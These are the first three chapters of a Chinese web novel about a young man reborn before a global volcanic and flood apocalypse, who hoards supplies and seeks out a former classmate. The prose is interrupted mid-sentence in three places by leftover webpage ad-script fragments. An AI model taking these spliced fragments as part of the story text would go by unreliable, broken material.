《天灾末世?我囤囤囤!》 1. 第 1 章 * “众所周知,近一个月以来,全国多地黄雾频发。气象局一再强调,黄雾是自然现象,对人体无害,但事实真是如此?黄雾又是怎么来的?你们有必要知道真相。” 自黄雾降临,这类帖子在论坛屡见不鲜,十条有八条都在探讨黄雾。这位楼主俨然一副高深莫测的懂哥,扎眼的标题吸引了不少人点进去。 “嚯,敲钟人来了?” “就一破雾,还真相,闲着没事儿找个班上。” “批皮营销号。” “???楼主人呢?别理他们,展开说说。” 质疑声不断,楼主恍若未闻,自顾自地阐述: “黄雾来源于地下。黄石、莫森两座超级火山都知道吧?近期整体活跃度明显增加、当地地震地裂频发、地下水水温大幅度升高,已满足所有喷发条件,随时可能爆发。” “啊?火山爆发前会排放大量气体我知道,但哥们,黄石和莫森就算超级加倍,它俩产生的气体也不可能覆盖全球啊!” “天,又是个没常识的小学生在这胡扯。” “笑死,楼主该不会以为就你们那儿起雾吧?” 楼主:“排放气体的不止火山,还有地下裂缝,而且目前处于活跃期的火山,远不止这两座。 虽然有些危言耸听,但我还是要说,蓝星开始自救了,再过不久,人类将会面临有史以来最大的危机。而我们能做的,逃往高处,尽可能地囤积物资。” “蛙趣,照楼主这么说,一夜之间所有活火山都进入活跃期了,不然哪来这么大的雾哈哈哈哈……” “不如直接说世界末日得了。” “兜兜转转还是末日这一套,没劲儿。” “留下你们的论坛ID,等我变成丧尸,不吃你们哦。” 帖子在激烈的讨论中盖成高楼,楼主却再也没有出现。 顾孟然滑动手机爬完楼,编辑消息回复:“楼主说得没错,末日确实要来了。一定要多囤点食物,远离火山,最好是去高海拔地区,越高越好。” 列车全速运行,有的路段信号波动大。 顾孟然编辑好消息发送,网络短暂地卡了一瞬。而一两分钟后,信号恢复,方才如火如荼的高楼只剩几个大字: 【该帖已被管理员删除,请理性发言。】 “嗖——” 高铁疾驰驶入隧道,浓稠的墨色将车厢笼罩。车窗化作一面光滑平整的镜子,顾孟然眼眸微抬,一张清隽白皙、毫无瑕疵的脸骤然闯入视线。 这是他,没有经历三年末世,没有毁容,十九岁的他。 被螺旋桨撕裂的痛感还刺激着大脑,再一睁眼,顾孟然回到了三年前,距离那场空前绝后的灾难,还有一个月的时间。 切身经历过一次,顾孟然至死难忘。 席卷全球的黄色雾霾只是开始,一个月后,全球多地活火山如蛰伏的猛兽缓缓苏醒,陆续爆发。其中包括黄石、莫森两座沉寂百年的超级火山,爆发等级高达惊人的VEI-7级。 火山持续喷发,肆意摧毁城市、农田,烧毁动植物不计其数。牵一发而动全身,与火山同时全面爆发的,还有一场史无前例的特大地震。 黄雾、火山、地震地裂…… 但这远没有结束,蓝星在自救,势必将身上的“跳蚤”清理干净,赶尽杀绝。 火山喷发时释放大量二氧化碳、二氧化硫等温室气体,加剧了全球温室效应。气温急剧升高、冰川消融、海平面上升……人类还没走出火山、地震的阴霾,接踵而来的极端高温天气让人苦不堪言。 2044年10月10日. 蝴蝶微微振翅,一场暴雨悄然而至。 久旱逢甘露,饱受高温摧残的人们终于迎来一场及时雨,但谁也没想到,这场雨将再也不会停。 顾孟然死之前,雨还在下,陆地几乎不复存在。 “——叮咚叮。前方到站,云田北站,请即将下车的乘客提前做好准备。” 列车广播适时响起,顾孟然恍然从冗长的回忆中抽离,起身取下行李箱,戴上口罩,不紧不慢地走向车门。 黄雾持续一月有余,或许是早已习惯,人们的生活并未受到太大影响。出站进站的旅客源源不断,顾孟然拖着行李箱走出车站,排队拉客的出租车依旧宛若长龙。 排队上车,放好行李箱,顾孟然坐进后排。 出租车驶离车站,朦胧的黄雾笼罩着熟悉又陌生的街道,顾孟然目不转睛地看着窗外,喉咙发紧,鼻尖微微泛起酸意。 完好无损的城市,还有……尚存于世间的人。 四十分钟的车程,出租车停在高楼耸立之间,一片突兀而违和的自建民房旁边。 顾孟然扫码下车,刚取下行李箱,路口旁高高掀起的卷帘门前,一位头发花白、慈眉善目的大爷摇着蒲扇走了出来。 老人年过花甲,身形微胖,略显壮硕。 人字拖、沙滩裤,泛黄的标配老头背心都快被穿成了吊带,一瞧身子骨就硬朗得很。 四目相对,顾孟然眼眶瞬间红了。 行李箱孤零零地丢在路边,顾孟然三步并作两步,飞奔到老人身前,一把将他抱住。 好似抓住救命稻草一般,紧紧搂着。 “外公,外公我回来了。” “黏黏糊糊的干啥,蹭我一身汗,这才几个月没见,别整这死出!”许久不见的外孙回来了,孟高阳笑得合不拢嘴,嘴上却半点不饶人。 老人的几个月,顾孟然的三年。灾难之后天人永隔,抚养他长大成人的外公再次出现在眼前,顾孟然很难不激动。 他竭力平复呼吸,强忍泪水,像往常的每一次一样,与外公插科打诨:“敢嫌弃我?就蹭,把汗全蹭给你。” “你小子,老子刚洗的澡!” 孟高阳一脸嫌弃,举起蒲扇就往他头上招呼。顾孟然灵活如泥鳅,闪身一躲,头也不回地跑进门,连行李箱都忘了拿。 老房子凉快,一进屋像走进空调房似的,凉飕飕的。 孟高阳口嫌体正,刚才还嫌弃得不行,顾孟然一进门,他又是放行李,又是翻冰箱。五分钟不到,顾孟然面前的桌子已经多出一盆葡萄、两瓣西瓜,还有各类饼干、面包。 桌子都快放不下了,老爷子还在往外拿,顾孟然知道犟不过,索性端着盆优哉游哉地吃起了葡萄。 “啪” 冒着凉气的冷冻榴莲放上桌,老爷子终于肯落座。 “外公吃葡萄,可甜。”应季葡萄又大又甜,顾孟然想让外公也尝尝,结果刚把盆举起来就被无情地推了回来。 孟高阳也不说话,单手摇蒲扇,笑眯眯地盯着他。 灼热的视线难以忽略,顾孟然被他盯得浑身不自在,剥葡萄的手微微一顿,埋头小声嘟囔:“看着我干嘛,吃你几颗葡萄盯这么紧,防贼呢?” 分别三年,这三年又经历了太多,顾孟然甚至不敢跟外公长时间对视,生怕被看出一丁点儿破绽。 死过一次的人了,他早已不是外公眼中那个不谙世事的孩子。 “你不对劲。” 简简单单四个字,犹如惊雷炸响。顾孟然双手猛地一颤,手中晶莹剔透的葡萄“啪嗒”掉落在地。 顾孟然反应很快,抽了张纸巾将葡萄捡起来。 再抬起头时,他眼中慌乱荡然无存,嘴角噙着淡淡的笑,“糟糕被看穿了!发现我其实不是你外孙了?” 孟高阳白了他一眼,“少贫。刚放暑假就跑回来,电话也不提前打一个,行李箱还死沉死沉的。顾孟然你老实说,是不是那丧良心的顾德诚又欺负你了?” 虚惊一场,顾孟然却怎么也笑不出来了。 顾德诚,这个名字让他生理不适。 母亲自幼离世,父亲在外打拼,顾孟然从小跟着外公长大。十四岁那年,他颇有一番成就的父亲顾德诚再婚,给他添了一个大十岁的后妈,小十四岁的弟弟。 同一年,被丢在老家不闻不问的顾孟然终于被顾德诚想起来了。不管孩子的意愿,顾德诚二话不说将他从外公身边带走,带到别的城市生活。 上辈子天真,五年“寄人篱下”的生活没能让他认清现实。直到天灾降临,他被亲生父亲推出去交换物资,他这才意识到,原来母亲离世那一刻,他已彻底失去了双亲。 重活一次,顾孟然心中早有明确打算。 只是这一次,他会先行摒弃那些莫须有的亲情。 “孟然,孟然?这孩子,又不吱声了?” 顾孟然皱着眉头怔怔出神,脸色越来越难看,把孟大爷急得抓耳挠腮,一拍桌子站起身,“等着,我这就给那龟儿子打电话去。什么东西!” “外公。”顾孟然及时回过神,拉住外公闷声解释道:“没有受欺负,我这不是想你了嘛,回来看看你。不过这次回来……确实还有一件很重要的事情要告诉你。” “啥?”孟大爷半 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 信半疑。 “你先坐,坐下我们慢慢说。” 在一起生活了十四年,顾孟然足够了解外公。 他隐去自己重生的事实,把即将发生的灾难说成是一个梦,一个无比真实的噩梦。 孟高阳船运出生,大半辈子都在海上漂流,相比普通人本就更加“迷信”。顾孟然添油加醋,稍加暗示,最后再提一嘴早逝的外婆和母亲,老爷子顿时信了大半。 蒲扇不摇了,桌子底下的腿也不抖了,轻松愉悦的氛围随顾孟然的话音消散,变得格外凝重。 “火山喷发、一场雨下好几年……”老爷子眼睛眯成一条缝,满是皱纹的眉头紧锁,倒吸一口凉气,“嘶,真是你外婆和你妈说的?” 顾孟然坚定地点下头,面不改色道:“对,她们说这一场空前绝后的灾难,让我尽快回来找你,还让我们提前做好准备,多囤点物资以备不时之需。” 说完,顾孟然抬头看向老爷子,无辜地眨眨眼,“外公你也别多想,这只是一个梦,说明不了什么。兴许是外婆和老妈在底下缺钱了,故意吓唬我们呢。” “胡说!” 一招以退为进,老爷子成功上钩。 孟高阳蒲扇摇得飞快,眼珠子滴溜溜地转,“我都多少年没梦到她俩了,上一次还是八年前,云田地震那回。不是梦,绝不是普通的梦,最近这鬼天气也不正常,指定有大事要发生!” 顾孟然嘴唇微张,眸中茫然尽显,“那、那我们该怎么办?总不能真的去囤物资吧?万一梦是假的,那——” “啪嗒” 蒲扇重重拍在手心,发出一声脆响。 孟高阳像是忽然想到了什么,倏地抬起头,“孟然,如果真下那样一场雨,水涨起来了,你觉得我们最应该逃去哪里?” “高原,高海拔地区。”顾孟然不假思索道。 “错咯。”孟高阳哈哈一笑,神神秘秘道:“忘了外公以前是干什么的了?你外公以前可是船长,风翼号的最高指挥。” 顾孟然眼睛一亮,“外公的意思是……我们买艘船?” 孟高阳点头,“没错,买艘船。天灾来了咱们就开船跑,天灾不来船就租出去,让别人拉货去,收个几十年的租金也不会亏本。” 跑了大半辈子船,一提到船,老爷子话密得很。 货轮太大,游艇太贵,渔船太小,内河运输船正好合适,孟高阳分析得头头是道,不到半个小时便敲定——买艘江船。 顾孟然人傻了。 他是在循循善诱地引导外公没错,但这未免也太顺利了,顺利到有些不可思议。 一场经年不停的雨,人类赖以生存的蓝星渐渐沦为水星。陆地所剩无几,人类面临的不仅是生存资源骤减,何处安身、何处落脚才是最大的问题。 上辈子,顾孟然跟着顾德诚一家逃到某个不知名岛屿。 虽然最后他被“卖”了出去,但岛上那半年足够让他意识到,灾后极为稀缺的陆地资源,绝无普通人的一席之地。 重生回来顾孟然一直在想,他们该何去何从。 抄上辈子的作业,摆在面前的标准答案只有一个——船。一艘可移动、可居住、可承载物资的货船。 船这玩意儿可不便宜,动辄几十上百万。 顾孟然一个刚上大学的学生,兜里自然掏不出,于是才有了忽悠外公养老金这一出。 外公疼他,无条件相信他。 一肚子草稿没派上用场,就这么一会儿工夫,坐在对面的老爷子已经开始盘算买大船还是买小船了。 顾孟然眼眶莫名有点热。 正事要紧,他揉了揉泛红的眼眶,与外公分析:“买小船,小型散货船,三千吨左右就行。被水淹没的陆地不比大海,障碍物多。而大船笨重,吃水线深,还格外扎眼,万一有点磕碰,或是被人盯上就麻烦了。” 孟高阳眉头微蹙,若有所思地点点头,“道理是这么个道理,可三千吨的小货船能装多少东西?陆地没了不是闹着玩的,没法种植、生产,以后可就是坐吃山空了。” 道理顾孟然都懂,但权衡利弊,小型货船是最优解。他并不担心小货船空间小,没办法承载太多物资,因为—— 顾孟然缓缓抬起头,平静地与外公对视, 随后他举起右手,掌心轻轻贴上装葡萄的不锈钢盆。 皮肤与盆接触的一瞬间,顾孟然心念一转,一盆饱满的紫皮葡萄就这么凭空消失在桌面。 2. 第 2 章 * 一场意外,顾孟然失足坠船,螺旋桨搅烂了他半张脸,致他毁容,也让他永远地失去了一条腿。 命大,在医疗条件有限的情况下,鬼门关里走一遭,他奇迹般地活了过来。而那天之后,顾孟然的身体里便多出一个奇怪的空间。 空间是顾孟然自己取的名字,因为它和小说里虚构的随身空间别无二致,自由存取,任意拿放,且物品放进去是什么样,拿出来还是什么样,不会随时间流逝而腐坏变质。 但不同的是,他的空间由两个部分组成。 空间内部是两块开阔平整的空地,一片绿油油的草地,一片荒芜的黄土地,面积非常大。 顾孟然闲来无事曾用步子量过黄土地,长约120米,宽约80米,另一片大小一致,相当于两个标准足球场。 两块空地并非紧紧相连,一条笔直的溪流横在正中间,将其一分为二。 两块空地看似大差不差,用途却截然不同。 溪流右侧草地用于储物,除活物以外的任何物品皆可存放在内。但人进不去,顾孟然这个主人也不行,他只能在空间外面存取物品。 而溪流左侧土地——仅限活物出入。 顾孟然可自由出入,没有生命的死物一概带不进去。 潺潺流淌的小溪仿佛一张无形的网,阻隔了顾孟然想长期住在空间的念想。 后来无意得到一包种子,顾孟然尝试带进去,竟然一次成功。 一方种植,一方储物,关键时刻还可避险。顾孟然终于摸索到空间的正确用途,只是那时的他们已是强弩之末,空间续命,多撑两年罢了。 重回三年前,空间竟跟着他一起回来了。 这一次,顾孟然一定把它安排得明明白白。 谨慎考虑,顾孟然没敢向外公展示空间的另一个功能,一个“葡萄消失术”把老爷子吓得够呛,身子骨再硬也遭不住反复惊吓。 老船长坐镇,船的事儿不需要顾孟然操心。他只提出一些改装建议,其他全权交由外公负责。 而顾孟然要做的,便是一个月内将船舱与空间填满。 睡了个安稳觉,第二天一早,孟高阳匆匆出门前往船厂,顾孟然则开着外公的老头乐,前往附近租车行。 一个小时后,他办完租车手续,开着租来的小型厢式货车,独自前往云田市最大的粮油综合市场。 空间可以种植,但该囤的还是得囤。 一日三餐,一人一年至少需要200斤粮食。顾孟然直接按照十年的标准,采购百斤装大米40袋、百斤装面粉20袋、豆类杂粮共20袋。 最基础的民生食品,价格并不高。 只是顾孟然一次性买得多,有些扎眼。 近期黄雾来袭,恰好掀起一波囤货热潮,连老板娘都忍不住多了句嘴:“小伙子,瞧你年轻得很,也不像个生意人,你买这么老些粮食,该不会是学网上那些人囤粮吧?” 顾孟然笑了笑,面不改色道:“哪能啊姐,囤粮也不是这么囤的,吃不完会坏。我们家开水上超市的,最近家里新添了几艘船,这不是让我来批发东西装船嘛。” 云田地处黄江下游地区,内河航运业发达。 老板娘是本地人,多多少少了解一些,一听是大客户,态度顿时一百八十度大转弯,又是留电话又是抹零的,想图个长期合作。 顾孟然一口答应:“成,回头我和爸妈说一声。” 结完账,顾孟然与老板娘一同前去仓库拉货。 车小货多,一次拉不完,老板娘卖人情提出免费配送,顾孟然十动然拒,宁肯自个儿多跑几趟。 原因无他,他连仓库都没一个,送哪去? 货物装车,顾孟然驾车前往云田港港口集运仓。而进入集运仓后,顾孟然跟个无头苍蝇似的瞎晃悠几圈,然后将车随意停在道旁,不声不响地把车内货物全部收进空间。 前后不到半个小时,小货车优哉游哉地离开集运仓。 船运大省,港口集运仓每天比菜市场还热闹,卸货上货的车辆不计其数,一辆不起眼的厢式货车,根本无人在意。 “卸货”需要时间,从港口出来,顾孟然没有第一时间回去拉货,开着货车又去了隔壁果蔬批发市场。 顾孟然饿怕了,水果蔬菜一车一车地买,食用油和酱醋糖盐、辣椒花椒等调味品也分别拉了两车。之后便是肉,猪牛羊、鸡鸭鱼虾……大量的海鲜肉类。 生鲜类不易储存,开超市这一套说辞显然行不通。顾孟然只能东打一枪西打一棒,奔波于各个生鲜市场,还跑了好多家屠宰场和养殖场。 中途路过一家烟酒店,顾孟然又进去扫荡了一波。 他不喝酒也不抽烟,外公偶尔小酌一杯,这类物资主要还是拿来以物易物,必要时与别人交换物资,他总不能掏出水灵灵的新鲜蔬菜来。 想到这,顾孟然又在网上下单了一批饼干、方便面、罐头之类的即食速食,还有奶粉、巧克力、牛奶等高蛋白,高能量食品。 买得多,他也不怕引起别人的注意,毕竟灾后他们不会留在这,不担心被人惦记。 食物最后以干货收尾,干菜、干蘑菇、海鲜干货、果脯、肉干等。三年阴雨天,再不多囤点,以后就吃不着咯。 衣食住行,食解决了,顾孟然着手准备衣物与日用品。 灾后高温天气居多,顾孟然在网上找了一家本地服装工厂,大批量订购T恤、短裤及内衣内裤。 以防万一,厚衣服他也准备了不少,羽绒服、防寒服、铺盖被褥等,还特意备了二十套一体防护服。 鞋袜按照冬夏两季购买,各款式都买上一些。 日用品杂又多,顾孟然选择在网上购买,贵是贵了点,但节约时间,顺带下单了一批盆、桶、箱子之类的容器器皿,以及饮料、茶叶等生活调剂品。 忙前忙后五天,空间仅占了四分之一,顾孟然的钱包却彻底瘪了。这些年寒暑假赚的钱,外公和便宜爹给的钱,还有母亲的事故赔偿金,短短几天一分不剩。 开口要钱对顾孟然来说是件难事儿,拉不下这个脸,但没等他开口,当天晚上老爷子便丢给他一张银行卡。 向来节俭的老人秒变豪横,大手一挥,随便花。 外公没说卡里有多少,为了合理地安排,第二天顾孟然特地去ATM查了查。不查不知道,一查吓一跳,三百万,足足三百万。 货船加配件加改装共计五百万,现下又掏出三百万的现钱,不得不说,老爷子这些年藏得还挺深。 揣着三百万,顾孟然又有底气了,各类五金工具,如切割机、钉枪等,不要钱似的往回买。 然后便是各类药物,跌打损伤药、止痛退烧药、消炎药……市面上能买到的非处方药,通通买一遍。 空间可以种植,种子必不可少。 顾孟然奔向农贸市场大肆采买,农作物种子、果树种子,每个品种各买一大包。 都准备种地了,养殖也得一并搞起来。从农贸市场出来,顾孟然又前往家禽批发市场,鸡苗鸭苗鹅苗各买40只,雏鸽20只,猪牛羊幼崽各买20头。 种地养殖这方面,顾孟然和外公没有任何经验,为此他跑了一趟书店,打算买点相关书籍来学习。然而进了书店他才想起来,他不会的可太多了。 《船舶维修及保养》、《种植栽 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 培大全》、《高效养鸡》、《母猪的产后护理》…… 需要的工具书实在太多,顾孟然索性放弃实体书,直接买了几个大容量U盘,购买下载电子版。 灾后缺乏娱乐项目,下载完工具书,他又将一些看过的,没看过的电影、电视剧、小说通通加入下载队列。 至此,生活上的物资基本囤得七七八八,接下来才是烧钱的重头戏。 暮色沉沉,弥漫在空气中的黄雾宛如散不尽的乌云,压抑而沉闷,隔着窗户多看两眼,莫名有一种令人窒息的压迫感。 电脑跟前坐了大半天,顾孟然感觉腰都快断了。估摸着外公也快回来了,他伸了个懒腰起身,刚想去厨房弄吃的,两声清脆的鸣笛声忽然从门外传来。 “外公?” 卧室离堂屋很近,顾孟然三两步走到门口,伸长脖子喊了一声,果不其然,外公回来了。 卷闸门大敞开,红色老头乐“嗡嗡嗡”地开进门。 车很快停稳,孟高阳趿拉着拖鞋走出车门,像是出门被人偷了钱包一样,垂头丧气,浑身散发着哀怨的气息。 顾孟然眼皮子一跳,快步迎上去,“怎么了外公?” “哎!”孟高阳眉头拧成川字形,狠狠叹了口气,“我刚从船厂那边回来,他们说……” 说一半又不说了,顾孟然被吓得差点心跳骤停,忙不迭追问:“说什么?船出了问题?不能按时交船?” 外公加钱托关系订的现货成品船。一般来说,买船和买车一样简单,办好手续当天就能提船,只不过顾孟然要求改装、装修,需要的时间便多一点。 加急付了双倍的改装费,原本说好半个月交船,现在十天已过。顾孟然想不通,手续齐全,改装、装修这些环节能出哪门子的岔子? 老爷子愁眉苦脸迟迟不说话,顾孟然七上八下的心彻底悬到了嗓子眼。 看老爷子那凝重的神情,他还不敢催,反过来安慰外公:“没事,没事的外公,人家船厂是专业的,改装这些都是小事儿,出不了大问题。” “这样,我现在走一趟,过去看看具体情况。” 说着他便往门外走,迅速掏出手机打车。可还没走出门,手腕忽然被一把抓住。 顾孟然略显诧异地回过头,只见老爷子红光满面,眼睛都笑没了,哪还有半点刚才的丧气。 顾孟然愣了一瞬,立马反应过来,老爷子在涮他呢! “太过分了吧外公,这事儿你也敢拿来吓我!” “哈哈哈……谁知道你反应这么大。” 顾孟然气鼓鼓地往屋里走,“不想理你了。” “船厂那边确实有消息了。”孟高阳拉着顾孟然不让走,没有再卖关子,刻意清了清嗓子道:“交船日期提前了,后天,后天咱们就能提船。” 顾孟然倏地一回头,“真的?” “千真万确。” “太好了。”顾孟然嘴角微扬,发自内心地笑了。 提前三天交船,后天便能登船进行下一步,原本紧巴巴的时间又宽裕了三天,相比这个好消息,外公无伤大雅的小玩笑根本算不了什么。 顾孟然还沉浸在即将提船的喜悦中,只听“嗡嗡”几声,短促低沉的震动自掌心传来。 手机响了,不是微信也不是电话,而是他荒废多年的□□。顾孟然滑动手机解锁,笑意瞬间凝固在眼底,心跳漏了半拍。 班长郑易飞:[老同学,你要的联系方式我帮你打听到了,该怎么谢我?] [回头记得请我吃饭] [139XXXX2583,梁昭] 看清最后两个字,顾孟然悄无声息地红了眼眶。 3. 第 3 章 * “顾孟然,你小子回屋做什么,说好一人做一天饭,今天到你了!快出来哦,你外公肚子饿了。” 一门之隔,老爷子的声音如雷贯耳,顾孟然无暇顾及,垂眸盯着屏幕上那一串陌生的电话号码,拇指轻颤,纠结着要不要按下拨号键。 梁昭,这辈子的梁昭……记得他吗? 门外脚步声渐行渐远,老爷子骂骂咧咧做饭去了。 卧室重新安静下来,顾孟然坐回书桌前,按下拨号又挂断,按下拨号再挂断,没开灯的房间随屏幕光线变换,忽明忽暗。 反反复复十多次,顾孟然终于下定了决心,再次按下拨号键。这一次,他没再挂断,下意识屏住呼吸,静候电话拨通。 “——嘟。” 听筒中飘出一声闷响,顾孟然噌地一下站起来。他又开始犹豫了,食指悬停在红色挂断键上方,一寸寸往下落。 “嘟,嘟,嘟……喂,哪位?” 没给他后悔的机会,只响了三声,电话通了,低沉冷冽的男声掠过耳畔,一层一层漾开。 “喂、喂,梁……梁昭吗?” 听声音其实已经听出来了,略有几分青涩,但确实是梁昭无疑。顾孟然大脑一片空白,支支吾吾半晌,勉强挤出一个生硬的开场白。 电话那头回答得很快:“是,你哪位?” “我、我是你初中同学,”顾孟然心脏骤停,慎之又慎,小心翼翼道出姓名:“顾孟然,初二和你当过一段时间同桌,你,还记得吗?” 一秒、两秒、三秒……对方沉默了。 早有预料的,本就没什么交集的人,又时隔五年,不记得才正常。 顾孟然压下鼻尖不断泛起的酸意,疯狂给自己洗脑。 一时无话,气氛略显尴尬。 看着电话还未挂断,顾孟然深吸一口气,故作轻松地打破沉默:“不记得也正常,这些年一直没联——” “记得。”梁昭打断他的话。 顾孟然:“你记得我?” “嗯。顾孟然,话很多的顾孟然。” 顾孟然呼吸一窒,撑在桌面上的手微微颤抖。 不知是不是错觉,他总感觉,梁昭的声音比刚才更沙哑一点。没空在意这些细节,梁昭这短短一句话,犹如春风拂面,顾孟然凉到一半的尸体渐渐回暖。 五年了,梁昭居然还记得他这个连话都没说过几句的老同学。而他,曾经的他……把梁昭忘得一干二净。 “你还在吗?顾孟然?” 思绪不受控制地飘远,梁昭低沉的嗓音将顾孟然唤醒。他忙地点点头,惊觉对方看不见,连连应声:“在,在的,我在。” 对方似乎毫不在意他的失态,云淡风轻道:“打电话给我,是有什么事?” “有!” 一经提醒,顾孟然终于想起了正事。 他说话不磕巴了,直截了当道:“梁昭,你在云田吗?我有很重要的事情要找你,我们能不能尽快见一面?” “云田吗?”梁昭拖着长长的尾音,“我在。” “太好了!明天,明天中午可以吗?我请你吃饭。” 梁昭迟疑了一瞬,“晚上吧。” 挂断电话许久,顾孟然还晕乎乎的,大脑处于宕机状态。 洗了把冷水脸重新启动大脑,他给班长郑易飞包了个大红包,明里暗里提醒对方囤点物资,下雨尽量往高原走。 而后他将梁昭的电话号码保存,又搜索号码添加微信,直到梁昭通过他的好友申请,顾孟然这才渐渐有了即将与梁昭重逢的实质感。 梁昭,梁昭……这辈子,换我来保护你。 说来惭愧,上辈子与梁昭相遇之前,顾孟然对这个人一点印象都没有。后来他绞尽脑汁回忆,仅仅找回一点模糊的记忆。 成绩好,不合群,一个阴郁沉默且毫无存在感的少年。 天灾之年物资匮乏,十块饼干,顾孟然被卖了出去,从一个秩序混乱的小岛,辗转到另一艘看似光鲜的巨型游轮。 无牵无挂,哪里都可以安家,那时候顾孟然对顾德诚已经彻底死心了,可他还想活着,便顺其自然地留在了游轮。 一起登船的年轻人很多,顾孟然起初单纯地以为,他们是被买来做苦力、当奴隶的,用劳动力换口饭吃。 直到后来,船长室每逢夜晚总是传来不堪入耳的声响,有人逃跑,有人自行了断,有人自荐枕席,顾孟然这才意识到,他们不仅是奴隶,还是猥琐油腻中年船长的“后宫”。 没有一丝一毫的犹豫,顾孟然逃了。 逃亡途中不幸坠船,巨轮锋利的螺旋桨硬生生切断他的右腿,半张脸也被无情地撕烂绞碎。 殷红的血液染红了大片海水,那群人以为他死了,以此为代价,顾孟然逃过一劫。 泡在冰冷的海水中,宛如一具尸体。顾孟然放弃了,他隐约看到外公外婆笑着向自己招手,可就在他迈开步子走过去的那一瞬间,一双温热的手用力托住了他。 “坚持住顾孟然!别,别放弃。” 救他的人正是梁昭,被他遗忘的梁昭。 * “T恤会不会太随意了?西装,啧,西装也不行,太刻意太正式了。哎,到底穿什么好啊?” 暮色沉沉的傍晚,卧室灯开到最大,行李箱横放在过道,床上乱糟糟的衣服堆成小山包。 而房间的主人正站在一面等身镜跟前,一会儿穿,一会儿脱,来回换了不下十套衣服,活像个卖衣服的主播。 原本听到动静来凑热闹的孟高阳:…… 蒲扇不摇了,笑容也消失了,老爷子紧盯着如孔雀开屏一般的顾孟然,眉头皱得能夹死蚊子。 顾孟然浑然不觉,又从床上抖开一件衬衫,扭头看向老爷子,“外公?外公你愣着干嘛,给点建设性意见呀。” 老爷子眸色一沉,“我意见你个头!顾孟然,你老实交代,你今晚到底跟谁去吃饭?” “不是都说了嘛,”顾孟然解开纽扣,将衬衫套在T恤外面,自顾自地照镜子,头也没回道:“初中同学,男的。放心吧,没有祸害别人家小姑娘。” 孟高阳嘴角抽了抽,“放心?顾孟然,你是我养大的,你什么德行我不知道?从来不在意形象,成天穿个拖鞋就往外跑的人,跟一男同学吃饭你打扮什么?” 脚下人字拖格外扎眼,孟老爷子说完,默默往门后挪了半寸。 顾孟然没空在意,他被老爷子问得一愣,过了许久才回过神,小声嘟囔:“没打扮,只是……只是老同学好久没见了,也不能太邋遢吧?” 底气全无,声音越来越小。 老爷子意味深长地看了他一眼,轻哼道:“懒得管你。不是和别人约好七点吗?光顾着收拾,也不看看时间。” 顾孟然掏出手机一看,猛地一拍脑门,“糟了!” 夏日昼长,七点天还没黑。弥漫在空气中的黄雾仿佛给城市按下快进键,行色匆匆的人群无一停留,往日热闹的商场略显萧条。 “——叮,四楼到了。” 七点整,顾孟然气喘吁吁地冲出电梯,一路小跑,卡着点走进某网红餐厅。 黄雾的影响太大,正是饭点,以往需要排队等号的老牌网红店仅有寥寥几桌。因此,顾孟然一进门,无需特意寻找,一眼便看到右前方角落,端坐在那的高个男生。 梁昭,他从未见过的,十九岁的梁昭。 梁昭长相偏硬朗,鼻梁高挺,剑眉星目,五官立体深邃。很锋利也很有攻击性的长相,给人的第一印象就是不好惹,不好接近。 偏偏他还不爱说话,不爱笑,冷着脸往那一坐,天生自带压迫感,周遭气温好似都跟着下降了几个度。 与二十二岁不同的是,没有经历过灾难的摧残,他眉宇间尚残存着几分纯粹的少年气,简约日式重磅T恤搭配棕色工装短裤,活脱脱一个酷哥体育生。 舒缓的音乐回荡在餐厅,或许是视线太过炙热 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,存在感太强,垂眸翻看菜单的梁昭有所察觉,漫不经心掀起眸子。 四目相对,顾孟然呼吸乱了。 不过短短一瞬,他很快调整过来,压下急促的呼吸,扯出一个自以为完美的笑,快步走向梁昭,“抱歉抱歉,我来晚了。好久不见啊梁昭,感觉这么多年你都没怎么变。” 多年不见的老同学,这个万能开场白应该错不了吧? 顾孟然坐在梁昭对面,双手垂在桌下,轻轻握成拳。 相比顾孟然的热情,梁昭冷淡多了,他看了顾孟然一眼,略微颔首示意,伸手把菜单递过去,淡淡收回视线。 顾孟然嘴唇微张,欲言又止,最终低头看向菜单。 “吃辣吗?” “吃牛肉吗?” “海鲜呢?” “吃。” 干巴巴的对话,一股颇为尴尬的气氛萦绕在两人之间。 点菜前好歹有得说,上菜后,四宫格锅底咕嘟咕嘟冒着热气,两人相对而坐,各自端着茶杯,好像初次见面的相亲对象,浑身上下都散发着不熟的气息。 这样下去不行!正事,正事要紧。 顾孟然最后抿了口茶,轻轻放下茶杯,目光不再闪躲,直直看着梁昭的眼睛,笑着打破沉默:“梁昭,听班长说,你现在在黄江跑船?” 梁昭眉心微动,低低“嗯”了一声。 同龄不同命,十九岁的顾孟然刚上大学,十九岁的梁昭早已辍学工作了好几年。 梁昭自幼被父母遗弃,被梁奶奶收养,抚养长大成人。他很争气,虽不善言辞,但学习成绩一直名列前茅。 屋漏偏逢连夜雨,高二那年,梁奶奶患病住院,被确诊为肝癌。天价治疗费没有将梁昭压垮,他卖房、卖家当,瞒着梁奶奶退学,出去打工挣钱。 经过一年半的治疗,梁奶奶还是走了。而梁昭再也没有回学校,他孑然一身,无牵无挂,无家可归,索性留在黄江当一名普通船员。 梁昭鲜少自己地提及过去,这些事还是上辈子顾孟然旁敲侧击打听来的。他心疼梁昭,但重生回来的那一刻,船员这个职业则变成了一个很好的理由。 番茄锅里的虾滑浮起来了,红汤里的肥牛缩成小小一块,稀薄的烟雾随热气弥漫在半空中,谁也没有动筷。 顾孟然摸了摸鼻头,眼眸轻抬,看向梁昭的眼神带了几分认真,“今天约你出来其实是想问问你,梁昭,你有换一艘船工作的打算吗?” “前段时间,我外公心血来潮买了一艘运输船,学人家开什么水上超市,但他都六十多的人了,哪能再去跑船。” 对不起了外公! 顾孟然默默在心里给外公道了个歉,继续编排:“哎,怎么劝都不听,老人跑了一辈子的船,离不开水。哪怕是招聘船员也想以船东的身份跟船,参与船只的运营和管理。” 说到这,顾孟然刻意停顿了一下,但梁昭平淡与他对视,不曾给出半点反应。 顾孟然也不气馁,自顾自道:“我不放心他一个老人,正好暑假,我也有船员证,就想着大不了一起。但我一个只有理论没有实操的半灌水,多少差点意思,就想多找个人。 